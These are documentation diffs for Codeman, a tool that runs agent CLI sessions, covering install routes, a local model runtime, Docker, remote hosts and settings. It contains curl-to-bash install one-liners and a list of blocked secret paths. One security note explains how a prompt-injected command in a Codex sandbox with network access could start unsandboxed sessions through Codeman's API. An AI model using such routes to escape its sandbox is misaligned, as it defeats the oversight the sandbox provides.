## What is in the skill
+1 -1
View File
@@ -25,7 +25,7 @@ Three ways to get one, all under **New or link a case…** at the bottom of the
| How | Result |
| ----------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Create New** | A fresh `~/codeman-cases/<name>` with a scaffolded `CLAUDE.md`, or with **Create in a custom folder**, a new folder inside a parent you choose, scaffolded the same way and registered in place like a linked case. |
| **Clone Repo** | A repo cloned into `~/codeman-cases/<name>` (or straight into a folder you choose, which must be empty or not exist yet) and registered as a case. Private repos need this machine's own git credentials (see below). |
| **Clone Repo** | A repo cloned into `~/codeman-cases/<name>` (or, with **Clone into a custom folder**, into `<parent folder you choose>/<name>`, which must be empty or not exist yet) and registered as a case. Private repos need this machine's own git credentials (see below). |
| **Link Existing** | An existing folder anywhere on disk, registered in place. Nothing is copied or moved. |
Linked cases keep living where they are. Deleting a case in Codeman removes the
+43
View File
@@ -204,6 +204,45 @@ Which harnesses show up in the Run-menu picker is read live off Codeman's own CL
not a fixed list here, so this table can go stale before this page does — a greyed-out or
missing entry is the more current answer.
## A model that runs on this Mac
If the Codeman server runs on a Mac with Apple silicon, you do not need a server of your
own: Codeman can set one model up for you on that Mac. This is experimental.
1. Press **Run a local model** on the welcome screen (or open App Settings > Models > Model
on this Mac).
2. The window shows what fits this Mac. A bar shows how much of the memory the selected
model takes at its full context; a nearly full bar means a tight fit. Pick a model and
the coding agent to run it with.
3. Press **Install on this Mac**, check the sizes and where they go, and confirm. Nothing is
downloaded before this click.
4. Codeman downloads a model runtime (Ollama, about 186 MB) and the model into
`~/.codeman/local-model`, loads the model, checks that all of it runs on the GPU and that
it can call a tool, installs the coding agent if it is missing, and saves an endpoint
named **This Mac**. No administrator password is asked for.
5. Press **Start a session**.
Good to know:
- You can close the window: the download continues while Codeman is running. **Cancel**
pauses it and **Continue** picks it up where it stopped. After a Codeman restart an
unfinished install waits for your click.
- The memory figure is an estimate until the runtime has started once. From then on it is
what the runtime itself measured, and the model is judged against that before it is
downloaded.
- The endpoint "This Mac" belongs to this install. It is in the list and in the Run menu,
but it is changed and removed in the local model window, not here.
- Codeman starts the runtime with the server and stops it with it. **Stop** keeps it from
starting next time.
- **Remove** deletes the runtime and the endpoint, and the model too if you tick that. The
coding agent stays installed.
- If the model on disk is no longer the one that was installed, Codeman refuses to start a
session on it and tells you to remove and install it again.
- Any program on this Mac, and any web page served from `localhost`, can reach the model
runtime: its port has no login. It listens on this Mac only.
- On a Mac without Apple's developer tools, macOS will offer to install them the first time
a coding agent runs `git` or Python. The window tells you when that applies.
## What it does not do
- **No remote or Docker sessions yet.** Both restart their agent differently under the hood
@@ -213,6 +252,10 @@ missing entry is the more current answer.
- **No button to un-point a session from the UI yet.** Clearing back to native cloud is an
HTTP call (`POST .../custom-model {"clear": true}`) or deleting the session; the settings
panel manages saved endpoints, not what a running session is currently pointed at.
A clear, or a switch to another endpoint, gives the session back what it had set itself under
a key the endpoint replaced, such as its own `DSH_HOME` or `CLAUDE_CONFIG_DIR`. If Codeman
restarted in between, only the home directory comes back, and an own `DSH_HOME`, `CODEX_HOME`
or `GROK_HOME` only when the endpoint was picked before that restart.
- **Nothing is shared with your real cloud credentials.** The endpoint's own key, if any,
never touches your Anthropic/OpenAI/Google login — a custom endpoint is a separate,
explicit choice per session.
+6 -1
View File
@@ -98,6 +98,10 @@ Adoption is **admin-only in multi-user mode**. Linking creates Codeman's own con
with one bind mount that has already been checked; an adopted container's mounts belong to
whoever started it, and one that mounts `/` hands the adopter the host.
That is about a container. A tmux session someone started by hand inside a container is opened
from the home screen instead, and it needs a Docker case pointing at that container: see
[Opened outside Codeman](The-Dashboard#opened-outside-codeman).
## Credentials
Your existing host logins work inside the container without logging in again. Credentials
@@ -225,7 +229,8 @@ this does not widen your network exposure. Add it to the service unit and restar
- Per-session environment overrides, effort, and per-CLI configuration are **rejected** for
docker cases, because they do not cross into the container. Configure the container through
the docker host's per-mode command override instead.
the docker host's per-mode command override instead. A `$` in that override expands inside
the container, not on the Codeman machine.
- tmux must exist in the base image. It is a hard prerequisite and is probed when linking a
host.
- On macOS, Docker Desktop takes a dedicated uid path, and memory caps are subject to the
@@ -14,6 +14,10 @@ A skill in the `SKILL.md` format that Claude Code, Codex, Gemini CLI, OpenCode,
and most other agent CLIs read. It teaches the agent the whole API, so you ask in plain
English instead of pasting endpoint documentation into prompts:
Since 1.50.0 Codeman puts it into every new session's folder by default (App Settings →
Agents & CLIs → **Codeman Agent Skill**), so an agent inside Codeman usually has it already.
For pi, or a copy that does not depend on that setting:
```bash
codeman skill install # or: npx skills add Ark0N/Codeman --skill codeman -g
```
+5 -2
View File
@@ -179,12 +179,13 @@ the defaults discovers and attaches your live sessions.
| Install route | Update with |
| ------------- | --------------------------------------------------------------------------- |
| Installer | Re-run the install one-liner, or **App Settings → System → Updates**. |
| Installer, without git | Re-run the install one-liner. The in-app updater says so instead of offering an update. |
| npm | `npm update -g aicodeman` |
| git clone | `git pull && npm install && npm run build`, then restart the service. |
The in-app updater covers git-clone installs supervised by systemd or launchd. It stashes a
dirty tree rather than discarding it, and streams progress across the restart. npm installs
report as non-updatable.
and installs without git report as non-updatable.
### Will updating kill my running sessions?
@@ -214,7 +215,9 @@ Yes. Codeman ships an agent skill that lets an agent inside a session drive the
list sessions, spawn workers in any installed CLI, send prompts, and block until a worker's
turn finishes. Install it once with `codeman skill install` or the Claude Code plugin, then
ask in plain English, for example *"use codeman to start 5 claude workers, one per TODO
item"*. The web UI setting that injects it into every new session's case is off by default.
item"*. Since 1.50.0 Codeman also injects it into every new session's case by default, so an
agent inside Codeman usually has it already (App Settings → Agents & CLIs → **Codeman Agent
Skill** turns that off).
See [The Codeman Skill](Codeman-Skill), with recordings of real runs, and
[Driving Codeman From An Agent](Driving-Codeman-From-An-Agent) for the other routes.
+31 -1
View File
@@ -17,7 +17,7 @@ lists mark a session that runs in one with a `⑂ <name>` pill.
The main checkout does not show the worktrees as untracked: Codeman adds `/.claude/worktrees/`
(and `/.claude/settings.local.json`, the hooks file it writes for every Claude session, plus the
`codeman` folder it writes when **Codeman Agent Skill** is on) to the repository's local
`codeman` folder it writes while **Codeman Agent Skill** is on, the default) to the repository's local
`.git/info/exclude` when git does not ignore them already. Without that, those files would make
every worktree look modified and git would refuse to remove it. Your tracked `.gitignore` is
never touched.
@@ -39,6 +39,36 @@ name.
**Open** on a worktree's row starts another session in it, with the CLI chosen above.
## When an agent moves into a worktree
Claude Code can move a running session into a worktree part way through (its EnterWorktree tool),
and the session's tab stays on the case. While the session's pane is in a worktree inside the
session's folder, the **Files** panel lists that worktree, so you see the files the agent is
editing. A strip under the panel's title names the worktree, and its **Session folder** button
switches to the session's own folder (**Back to worktree** returns). The panel follows the agent
in and back out on its own while it is open.
Only the Files panel moves. The **Git** panel stays on the session's folder, so it can show
`main` while the strip names the worktree. And `.claude` is a hidden folder of the session's
folder, so an `.html` file in `.claude/worktrees/<name>` opens as source rather than as a
rendered page. A session started in the worktree does not have that limit.
A worktree beside the repository (`git worktree add ../feature`, or a setup that makes
EnterWorktree put worktrees there) is followed too, as long as the session was started at the top
of the repository or of one of its worktrees. The panel then lists that folder with full paths,
and you can preview and edit its files there. Codeman follows such a worktree only when the
session's own repository lists it. Codeman never follows one of these:
- your home folder or above it, or a folder that holds the session's folder;
- a folder at, inside or around a Docker case's workspace;
- in multi-user mode, unless the session's owner is an admin, a folder outside the owner's own space and the session's folder;
- any worktree beside the repository while the server confines attachments to the workspace;
- a folder at, inside or around a tree the server blocks for attachments, or a folder that is itself a credential folder such as `.ssh`.
A session started in a subfolder of the repository follows no worktree outside that subfolder,
including the one Claude Code creates at the top of the repository. Open such a worktree as a case
of its own with Add Case > Link Existing.
## Removing one
Two ways, and both use `git worktree remove` **without** `--force`:
+152 -8
View File
@@ -25,7 +25,8 @@ curl -fsSL https://getcodeman.com/install | bash
This installs Node.js, tmux and a build toolchain if they are missing (node-pty ships no
Linux prebuild, so it compiles from source), clones Codeman into `~/.codeman/app`, and
builds it.
builds it. On a Mac, the [Codeman app](#on-a-mac-the-codeman-app) can run this installer
for you, with no Terminal.
It starts by printing what it found (git, Node, tmux, build tools, agent CLIs, Tailscale,
an existing install), then asks everything it needs up front, then does the work
@@ -78,6 +79,8 @@ install.sh uninstall # remove (offers to undo a rename it performed)
install.sh tailscale # retrofit Tailscale access onto an existing install
install.sh name [<n>] # rename this machine on your tailnet (default codeman-<hostname>)
install.sh cloudflared # install cloudflared for the in-app Cloudflare tunnel
install.sh preflight # print what is on this machine as JSON; changes nothing
install.sh agent <id> # install one agent CLI and nothing else, also next to a running Codeman
```
**Flags** answer the questions from the command line and pipe through `bash -s --`:
@@ -94,14 +97,74 @@ the name, `--service` / `--run` / `--no-start` the last one. `--yes` takes every
`--port <n>` moves Codeman off 3000; the service file and the serve mapping follow it. On an
existing install, `--port` and `--password` re-run the setup so the service file picks them up,
and a re-run with `--lan` or `--tailscale` keeps the password the service already has.
`--ai-cli <id>` answers the agent menu that appears when no agent CLI is found, with no
terminal needed (`--ai-cli claude`, `--ai-cli codex`, ...), and `--ai-cli none` skips it.
To add an agent later, `install.sh agent codex` installs that one and changes nothing else:
it does not touch Codeman or its service, and an agent that is already there is left alone.
Codeman Desktop does the same from *Add a coding agent*. A running Codeman notices the new
agent at once; reload an open page to see it.
**Automation and CI**: with no terminal attached, any step that would change the system
aborts with instructions instead of running silently. Set `CODEMAN_NONINTERACTIVE=1` to
approve those steps. `CODEMAN_TAILSCALE=1` preselects the Tailscale answer, and never
approve those steps. With nothing else said, that also installs the first agent CLI of the
catalogue when none is found; `--ai-cli` (or `CODEMAN_AI_CLI`) says which one, or none.
`CODEMAN_TAILSCALE=1` preselects the Tailscale answer, and never
installs Tailscale itself non-interactively; a non-interactive run never renames the
machine and never starts a service. Everything the unattended steps print goes to
`~/.codeman/install.log`, and the last lines of it are shown when a step fails.
### Without administrator rights
Codeman itself always lived in your home directory. What used `sudo` (or Homebrew on a
Mac) were the things it needs first. On an account that has no administrator rights the
installer says so in its summary (`Admin not used (...)`) and gets those another way:
| Needed | With administrator rights | Without |
| ----------------------- | ---------------------------- | ----------------------------------------------------------------------------------------------------------------------------------- |
| Node.js 22 | system package or Homebrew | The official tarball from nodejs.org, checked against the `SHASUMS256.txt` published beside it, unpacked to `~/.codeman/runtime/node`. |
| tmux | system package or Homebrew | The tmux project's own build ([tmux-builds](https://github.com/tmux/tmux-builds)), checked against a SHA-256 pinned in the installer, in `~/.codeman/runtime/bin`. |
| git | system package or Xcode tools | Not installed. Without a working git, the source is downloaded as an archive instead of cloned. |
| Build toolchain (Linux) | system package | Cannot be supplied. See below. |
This route is taken by itself when `sudo` is not installed, when the account is outside the
`sudo`, `wheel` and `admin` groups and `sudo` will not run without a password, when the
`sudo` password is refused, and on a Mac for an account that is not an administrator and
has no Homebrew it can write to.
`--no-admin` (or `CODEMAN_NO_ADMIN=1`) forces it on an account that does have the rights;
`CODEMAN_NO_ADMIN=0` switches the detection off. Nothing on this route runs `sudo`,
Homebrew or the Xcode tools installer.
The group check cannot see a sudoers entry, so an account that sudoers lists by name, with
a password, takes this route too. The summary then reads `could not confirm that this
account may use sudo`, and to use `sudo` anyway:
```bash
curl -fsSL https://getcodeman.com/install | CODEMAN_NO_ADMIN=0 bash
```
What to know about it:
- **Linux needs make, a C++ compiler and python3 to be there already.** node-pty compiles
from source on Linux, and a compiler is a system package. The installer checks this
before it downloads anything and names what is missing. macOS needs no compiler.
- **The tmux download needs macOS 15 or newer** (and x86_64 or arm64 on either system).
On an older Mac an administrator has to install tmux once (`brew install tmux`); the
rest then works without one.
- **An install without git updates by re-running the install line**, not from App
Settings. The re-run builds the new version beside the old one and swaps it in only
after the build succeeded, so a failed download or build leaves the install as it was.
Once the machine has a working git, the next re-run turns the install into a normal
clone and in-app updates work again. On a Mac, "a working git" means the Xcode Command
Line Tools are installed: without them `/usr/bin/git` only opens Apple's install dialog,
and the installer never runs it.
- **Tailscale works where it is already installed and your account may configure it.** On
Linux, installing it, logging in and granting serve rights each need an administrator
(`sudo tailscale set --operator=$USER`, once). Local network and this-machine access
need nothing, and `install.sh cloudflared` puts `cloudflared` in `~/.local/bin`.
- `node`, `npm`, `npx` and `tmux` are linked from `~/.local/bin`, and
`~/.codeman/runtime/node/bin` is added to your PATH, so a CLI installed with
`npm install -g` is found as well.
## Route B: npm
```bash
@@ -144,18 +207,93 @@ See [Contributing](Contributing) for the rest of the development loop.
## Route D: Docker Compose
Codeman itself can run in a container and spawn Docker cases as sibling containers through
the host's Docker socket. Copy `docker/.env.example` to `docker/.env`, set
`CODEMAN_PASSWORD`, then:
the host's Docker socket. You need Docker with the Compose v2 plugin (2.27.2 or newer), and
an account that can use Docker without sudo (on Linux, the `docker` group). Then, on Linux:
```bash
git clone https://github.com/Ark0N/Codeman.git && cd Codeman
bash docker/Start-Codeman.sh
```
The first run asks for a data folder, a port and a password. Enter takes each default,
including a generated password, shown on your terminal and kept in `docker/.env`. It then
writes that file, builds the image (a few minutes the first time) and ends on the URL once
Codeman answers. The image
already includes Claude Code, Codex, Gemini CLI and OpenCode: start a session and log the CLI
in once, and the login is kept in the data folder.
Run the script again after updating rather than a plain `docker compose up`, so the rebuilt
image, the refreshed volumes and the entrypoint arrive together. The full guide, including
storage and networking options, is
Unraid, storage and networking options, is
[`docker/README.md`](https://github.com/Ark0N/Codeman/blob/master/docker/README.md).
## On a Mac: the Codeman app
[Download Codeman.dmg](https://github.com/Ark0N/Codeman/releases/latest/download/Codeman.dmg):
one universal app for Apple Silicon and Intel, macOS 11.3 or later.
A small native app that opens Codeman in its own window. Its first screen has two tabs:
- **This Mac** looks for Codeman here and offers what fits: *Open Codeman* when it runs,
*Start Codeman* when it is installed but stopped, *Install Codeman on this Mac* when it is
not there. It also lists the Codeman servers of yours that already run on this Mac (one
started by hand in a terminal, say) and offers to connect to those; it never starts a
second one next to them. Install runs [the installer](#route-a-the-installer-recommended)
for you, with no Terminal and no administrator password: it asks which coding agent to
install (only when the Mac has none, and *Skip for now* is there) and who may reach
Codeman (this Mac only, or the local network with a password), then shows the install as
a checklist. *Add a coding agent* on this tab (*Add a Coding Agent to This Mac…* in the app menu) installs one later.
- **Another machine** connects to Codeman by address, a tailnet name included, and keeps
the password in the Keychain. *Codeman is not installed there yet?* opens Terminal and
runs the installer on that machine over SSH.
On a MacBook Pro with a PROLED XDR display, whose lid logo lights up,
**View > Blink Apple Logo** blinks the logo by what your agents are doing, with a style of
your own for working, for waiting for you and for needing permission. All three are off
until you choose, and the menu only exists on such a Mac.
### First launch
1. Open `Codeman.dmg` and drag Codeman into Applications.
2. Open Codeman from Applications. macOS asks once whether to open an app downloaded from
the internet: click **Open**.
3. On macOS 15 and later, the first connection to an address on your local network (a LAN
IP, a `.local` name) makes macOS ask whether Codeman may use the local network, and that
first attempt can fail while the question is open: connect again after answering. If
you denied it, turn Codeman on in **System Settings > Privacy & Security > Local
Network**.
What to know about it:
- **Quitting the app does not stop Codeman.** An install from the app runs Codeman as a
LaunchAgent that starts at login, so agents keep working with the window closed, and a
browser or phone reaches it as before.
- **Codeman's page needs the WebKit of Safari 16.4.** The app starts on macOS 11.3, but
Codeman itself needs macOS 13.3 or later, or macOS 11 or 12 with Safari 16.4 or later
installed. On an older WebKit the app says so and does not connect.
- **The install from the app needs macOS 15, or a tmux that is already there.** tmux comes
from the tmux project's own builds, which need macOS 15. On an older Mac without tmux the
app offers Terminal instead, where Homebrew installs it (that takes an administrator once).
- **The install from the app reaches as far as the local network.** Tailscale needs its own
login and setup, which the installer does at a terminal: choose *Install in Terminal
instead*, or run `install.sh tailscale` afterwards.
- **Self-signed HTTPS is refused.** A server started with `codeman web --https` uses a
self-signed certificate, which macOS's WebKit rejects. Use `http://127.0.0.1:3000` for a
server on this Mac. For another machine, serve Codeman through `tailscale serve`
(`https://<machine>.<tailnet>.ts.net` has a real certificate) or a reverse proxy with a
real certificate.
- **The Codeman it installs is an ordinary installer install,** made on the
[route without administrator rights](#without-administrator-rights), so
[Updating](#updating) and [Uninstalling](#uninstalling) below apply to it.
- **The app does not update itself yet.** Download the new `Codeman.dmg` and drag it over
the old copy.
- **Deleting the app leaves Codeman running.** The app's own settings are in
`~/Library/Application Support/Codeman/`, and its saved passwords in the Keychain under
*Codeman Desktop*.
Everything else, including how to build it yourself:
[`packages/desktop/README.md`](https://github.com/Ark0N/Codeman/blob/master/packages/desktop/README.md).
## Installing an agent CLI
Codeman drives CLIs, it does not bundle them. Install at least one:
@@ -194,6 +332,7 @@ If the dashboard loads and **+ New Session** opens, you are done. Continue to
| Path | What |
| ----------------------- | ------------------------------------------------------------------------------------------------ |
| `~/.codeman/app` | The installed code (installer route only). |
| `~/.codeman/runtime` | Node.js and tmux, when the installer downloaded them instead of using system packages ([no administrator rights](#without-administrator-rights)). |
| `~/.codeman/` | All state: `state.json`, settings, session history, push keys, TLS certs. See [Core Concepts](Core-Concepts). |
| `~/codeman-cases/` | Cases created from scratch. Linked cases stay wherever they already are. |
| `~/.codeman/web.log` | Log for a detached (`-d`) server. |
@@ -217,9 +356,10 @@ Full detail, including logs and the self-updater, is in
| Install route | How to update |
| ------------- | ----------------------------------------------------------------- |
| Installer | Re-run the one-liner, or **App Settings → System → Updates** in the UI. |
| Installer, without git | Re-run the one-liner. The in-app updater says so instead of offering an update. |
| npm | `npm update -g aicodeman` |
| git clone | `git pull && npm install && npm run build`, then restart. |
| Docker Compose | Re-run `Start-Codeman.sh`. The in-app updater works too, and refuses a release that changes the container definition until you re-run the script. |
| Docker Compose | `git pull`, then re-run `Start-Codeman.sh`. The in-app updater works too, and refuses a release that changes the container definition until you re-run the script. |
The in-app updater covers git-clone installs supervised by systemd or launchd. It restarts
the process that is running it, so the actual work happens in a detached script and the
@@ -232,8 +372,12 @@ install.sh uninstall # installer route
npm uninstall -g aicodeman # npm route
```
Neither removes `~/.codeman/` or `~/codeman-cases/`. Delete those by hand if you want the
state and your case folders gone as well, and check `~/codeman-cases/` first: linked cases
The installer route asks before it removes `~/.codeman/runtime` (the Node.js and tmux it
downloaded, if any), and keeps it by default when you installed CLIs there with
`npm install -g`. That folder is inside `~/.codeman/`, so saying yes to the data directory
question that follows removes it even if you kept it a step earlier, and the question says
so. By default neither route removes `~/.codeman/` or `~/codeman-cases/`. Delete those by hand
if you want the state and your case folders gone as well, and check `~/codeman-cases/` first: linked cases
point at directories you already had, but cases created from scratch have their only copy
there.
+4 -2
View File
@@ -66,8 +66,9 @@ A row of keys above the virtual keyboard, and what it contains depends on the se
**Agent sessions** get quick actions: `/init`, `/clear`, `/compact`, a Compose key, `Esc`,
a path picker, and 🧠 when Read My Mind is on. Compose opens a multiline editor with
autocorrect: Enter adds a new line, and only Send delivers the text, as one paste followed
by Enter, so your line breaks reach the agent intact. Anything already typed on the terminal
prompt moves into the editor when it opens. Drafts are kept per session and in memory only,
by Enter, so your line breaks reach the agent intact. A prompt written in Persian, Arabic or
Hebrew lays out right to left. Anything already typed on the terminal prompt moves into the
editor when it opens. Drafts are kept per session and in memory only,
so switching tabs keeps them and a page reload forgets them; a dot on the key shows a draft
is parked. The editor's Attach button attaches photos, videos or documents and puts their paths
into the draft.
@@ -187,6 +188,7 @@ Setup in [Notifications And Approvals](Notifications-And-Approvals).
The terminal viewport is small. **Last Response** (opt-in header button) renders the agent's
last answer as scrollable text instead, with a **More** button for additional context.
Persian, Arabic and Hebrew answers read right to left there.
The [File Viewer](Working-With-Files) works on phones too, including edit mode, which is
enough to fix a typo an agent introduced while you are away from your desk.
+5 -2
View File
@@ -85,8 +85,10 @@ In the browser this means:
The operations that act on the whole server are admin actions too: updating Codeman,
opening the multi-display window, regenerating the tunnel QR code (it clears every user's
pending QR login) and cleaning up stale session state. **Revoke All** signs a regular user
out of their own logins only, and the tunnel panel lists only their own.
pending QR login) and cleaning up stale session state. So is the **Opened outside Codeman**
block on the home screens, which shows everyone's processes and opens a shell as the server's
account. **Revoke All** signs a regular user out of their own logins only, and the tunnel
panel lists only their own.
Per-user server settings are not part of this version.
@@ -99,6 +101,7 @@ Non-admins get tighter defaults, and lifting them is an explicit per-user grant:
| Claude runs in `auto` permission mode | Anthropic's classifier-guarded mode instead of skip-prompts. |
| Raw shell sessions require a grant | A plain shell is unmediated machine access. |
| Skip-permissions requires a grant | Same reasoning. |
| Codex **Allow network access** requires a grant | It lets a sandboxed command reach any host, Codeman's own API included. |
| Cron `launchCommand` requires a grant | It is an arbitrary command on a schedule. |
| Pi project trust defaults to off | Trust makes Pi execute repo-local TypeScript. |
+17 -4
View File
@@ -29,11 +29,18 @@ through a jump host. Your laptop can sleep, change networks, or close, and the r
Hosts are saved and reusable, so a second case on the same machine is just a path. Host
profiles can also carry per-run-mode launch command overrides, for when the binary lives
somewhere unusual on that host.
somewhere unusual on that host. An override runs on the remote in your login shell, so a `$`
in it expands there, not on the Codeman machine.
The remote host needs **tmux**. Codeman probes for it when you link the host rather than
failing later at launch.
The remote login shell can be bash, zsh, dash, fish, csh or tcsh. A tcsh session reads `.tcshrc`
and not `.login`, so set the PATH that finds `tmux` and your agent CLI in `.tcshrc`. The tmux check
also needs a `command` executable under tcsh: macOS and the BSDs ship one, Debian and Ubuntu do
not, so linking a tcsh host there stops at `could not verify tmux`. nushell and elvish cannot run a
remote session at all.
## What actually runs
The agent lives inside a dedicated tmux server on the **remote** host, and Codeman fronts it
@@ -73,13 +80,19 @@ Attaching to someone else's session and closing your tab must not end their run,
not. Several clients can attach the same remote session at different window sizes without
clamping each other, and discovery shows a shared badge with the client count.
This list holds Codeman's own sessions. A tmux session someone started by hand on the host is
found by the home screen instead: see
[Opened outside Codeman](The-Dashboard#opened-outside-codeman).
## Files
Previews, downloads and text reads in a remote case go over the same ssh connection the
session uses, so a clicked path opens the file on the machine the agent is on, `Range`
seeking included. Nothing is copied to the Codeman host. Editing, Office previews,
thumbnails, the file tree and the tail viewer are not available remotely and answer a clear
400 rather than a misleading 404. Details in [Working With Files](Working-With-Files).
seeking included. Nothing is copied to the Codeman host, apart from the diffs the
[Edit history](Working-With-Files#edit-history) panel keeps, which works for remote Claude
sessions too. Editing, Office previews, thumbnails, the file tree and the tail viewer are not
available remotely and answer a clear 400 rather than a misleading 404. Details in
[Working With Files](Working-With-Files).
## Security
+11 -4
View File
@@ -145,15 +145,16 @@ log stream --predicate 'process == "node"' # macOS, noisy
| Install route | Update with |
| ------------- | ------------------------------------------------------------------------ |
| Installer | Re-run the one-liner, or **App Settings → System → Updates**. |
| Installer, without git | Re-run the one-liner. The in-app updater says so instead of offering an update. |
| npm | `npm update -g aicodeman` |
| git clone | `git pull && npm install && npm run build`, then restart. |
| Docker Compose | Re-run `Start-Codeman.sh`, or the in-app updater, which restarts the container in place. |
| Docker Compose | The in-app updater, which restarts the container in place, or `git pull`, then re-run `Start-Codeman.sh`. |
### The in-app updater
**App Settings → System → Updates**, for git-clone installs supervised by systemd or
launchd. npm installs report as non-updatable, and an unsupervised install is told to
restart manually.
launchd. npm installs and installs without git report as non-updatable, and an unsupervised
install is told to restart manually.
The interesting part is that the update restarts the very process running it. So the real
work runs in a **detached script that outlives the restart** and writes progress to a status
@@ -188,7 +189,13 @@ the bind-mounted directories with the right owner, honours a `docker-compose.ove
and refreshes the build volumes when the checkout moved under them. The in-app updater
applies code only and restarts by letting the container exit, so it refuses a release that
changes the Dockerfile, the compose file, or adds a new `.env` key, until you re-run the
script. Guide:
script.
With no `docker/.env` yet, the script first asks for a data folder, a port and a password and
writes that file. It then waits up to 180 seconds for Codeman to answer and exits 1 if the
container crash-loops or never answers; pass `--no-wait` for scripted use. `Start-Codeman.sh`
and `Update-Codeman.sh` both refuse to run while `CODEMAN_PASSWORD` is still the example
`changeme`. Guide:
[`docker/README.md`](https://github.com/Ark0N/Codeman/blob/master/docker/README.md).
## The tunnel as a service
+7 -1
View File
@@ -68,7 +68,7 @@ be wrong for at least one of them:
| **File Viewer** | Real path resolution before boundary checks, so symlinks cannot escape. Sensitive trees blocked. Edit mode adds an extension allowlist, a size cap, `.git` denial, and optimistic concurrency. It never creates files. |
| **Attachments** | An id-based registry, so browser requests never carry absolute paths. The magic-link scanner is prompt-injectable by nature and is therefore force-confined to the session's workspace. Extension allowlist, not a blocklist. |
| **Path picker** | Its own root allowlist rather than the workspace confinement. In multi-user mode a non-admin gets only their own user space, because per-user spaces live inside the home directory. |
| **Remote cases** | Reads go over the session's own ssh connection and are resolved and contained on the remote host, with a bounded number of ssh children. Nothing is copied to the Codeman host; writes, Office previews and thumbnails are refused. |
| **Remote cases** | Reads go over the session's own ssh connection and are resolved and contained on the remote host, with a bounded number of ssh children. Nothing is copied to the Codeman host, apart from the diffs the Edit history panel reads from a remote Claude session's transcripts while it is open, kept in a private bounded store (0600) that is deleted with the session's record. Writes, Office previews and thumbnails are refused. |
Downloads block sensitive paths outright (`.env`, credentials files, `~/.ssh`, AWS
credentials), and SVG and HTML are served as downloads with `nosniff` so they cannot execute
@@ -99,6 +99,12 @@ Stated plainly, because a security page that only lists strengths is not useful:
bypass requires a secret unconditionally when auth is on.
- **The agent CLIs have their own trust models.** Pi's project trust executes repo-local
TypeScript, for instance. See [Agent CLIs](Agent-CLIs).
- **Allow network access takes Codex's sandbox out of the picture.** The setting (App
Settings, Codex, off by default) lets commands in Codex's sandbox call Codeman's API,
which can start a session outside the sandbox with no approval prompt. A password does
not stop this, because a session inherits the server's password. It applies to every new
local Codex session, so a prompt-injected command in any of them can run anything you
can. Leave it off unless you trust what those sessions run.
## Privacy
+26 -5
View File
@@ -38,8 +38,8 @@ as usual and tells them that server-wide settings can only be changed by an admi
### Updates
Current version, a manual check, and the in-app updater. Covers git-clone installs
supervised by systemd or launchd; npm installs report as non-updatable. See
[Running As A Service](Running-As-A-Service).
supervised by systemd or launchd; npm installs and installs without git report as
non-updatable. See [Running As A Service](Running-As-A-Service).
### Terminal & Input
@@ -49,7 +49,7 @@ supervised by systemd or launchd; npm installs report as non-updatable. See
| Keep Size Under Keyboard | On | For local Claude sessions, the on-screen keyboard no longer resizes the session: the terminal keeps its rows and the view scrolls so the prompt sits just above the keyboard. Resizing made Claude reprint its screen and drop transcript lines from history. Codex, Claude's fullscreen mode, remote and Docker sessions resize as before. See [Mobile Guide](Mobile-Guide). |
| CJK Input | Off | IME composition through a dedicated text field. |
| Extended Keyboard Bar | Per device | Which accessory bar phones get. Shell sessions override it while they are active. |
| Wheel Scrolls Local History | Off | Keeps the wheel on the local buffer instead of forwarding it to the CLI. |
| Wheel Scrolls Local History | Off | Keeps the wheel on the local buffer instead of forwarding it to the CLI. Fullscreen pi leaves that buffer empty and has no paging fallback, so with this on the wheel does nothing there. |
| Auto Copy Selection | Off | Copies highlighted terminal text to the clipboard the moment you finish selecting it. Ctrl+C still copies on demand. |
| Trim The Pane Margin On Copy | On | Takes the left margin a full-screen agent CLI paints down its own edge off a copy, so the text pastes flush. Each CLI declares its own width, and the strip never exceeds the indent every selected line shares, so nesting is kept. Claude Code and Codex declare a margin; a shell does not. |
| Normal / Bold font weight | xterm defaults | Per device, each slot from 100 to 900. The bundled JetBrains Mono renders every step, so a lighter normal weight makes Claude's bold headings stand out. Applies live to the terminal, both echo overlays and open team panes. |
@@ -108,7 +108,7 @@ records an unknown host key in `~/.ssh/known_hosts` without asking: BatchMode st
**Edit history** (per device, off by default, never on phones) adds a header button for the
active session's edit history: every edit the agent and its subagents made, with its diff, and
images it produced. Local Claude sessions only. Nothing is read until you open the window, and it
images it produced. Claude sessions, local and remote (SSH). Nothing is read until you open the window, and it
stores those diffs (secrets included) under `~/.codeman/edit-history/`; see
[Working With Files](Working-With-Files#edit-history).
@@ -193,6 +193,26 @@ attached.
section to the Run dropdown, for pointing a harness at your own OpenAI-compatible server
instead of its native cloud backend. See [Custom Model Endpoints](Custom-Model-Endpoints).
**Model on this Mac** is not a setting: it is the state of a model Codeman can run for you
on the Mac the server runs on, with a button that opens the local model window. The same
window opens from the **Run a local model** button on the welcome screen. It shows that
Mac's chip, memory and free disk space, a bar for how much of the memory the selected model
takes, and the models that fit, each with one tag (Best fit, Tight, Slow, Small model, or
"Tested on a Mac like this"), a speed and a download size. **Install on this Mac** asks you
to confirm the sizes once, then downloads a model runtime and the model into
`~/.codeman/local-model`, checks that the model loads and can call a tool, installs the
coding agent if it is missing, and ends on **Start a session**. No account, no API key and
no administrator password. You can close the window while it downloads, cancel and continue
later; after a Codeman restart an unfinished install waits for you to press Continue. Once a
model is installed the window offers Start a session, Stop or Start, and Remove. Installing
switches **Custom model endpoints** on and saves one endpoint named "This Mac"; Remove takes
the endpoint away again and switches the setting back off if nothing else uses it. A Mac
that can only run a small model is told so in plain words, and a Mac with too little memory,
too little free disk space or an Intel processor is told why nothing is offered. The group
is not shown when the server runs on Linux or Windows, and in multi-user mode only an admin
sees it. The "Mac" is always the machine the server runs on, not the device you are reading
on. Details: [Custom Model Endpoints](Custom-Model-Endpoints#a-model-that-runs-on-this-mac).
### Agents & CLIs
| Setting | Notes |
@@ -202,12 +222,13 @@ instead of its native cloud backend. See [Custom Model Endpoints](Custom-Model-E
| Ralph / Todo Tracker | Enables the Ralph loop surfaces. |
| Agent Teams | Experimental teams. Also needs the CLI's own environment flag. |
| Pin tab names on the CLI | Launches every Claude session with `--name` set to its tab name, so Claude Code's prompt label and `/resume` list match your tabs. Claude then stops generating its own titles for those sessions, and a rename in Codeman holds only until the next turn. Synced, off by default; applies from the next session start or respawn. |
| Codeman Agent Skill | Under **All agent CLIs**. Injects the agent skill into each new session's case, where that session's CLI looks for skills (every CLI except Pi and a plain shell). Off by default. See [The Codeman Skill](Codeman-Skill). |
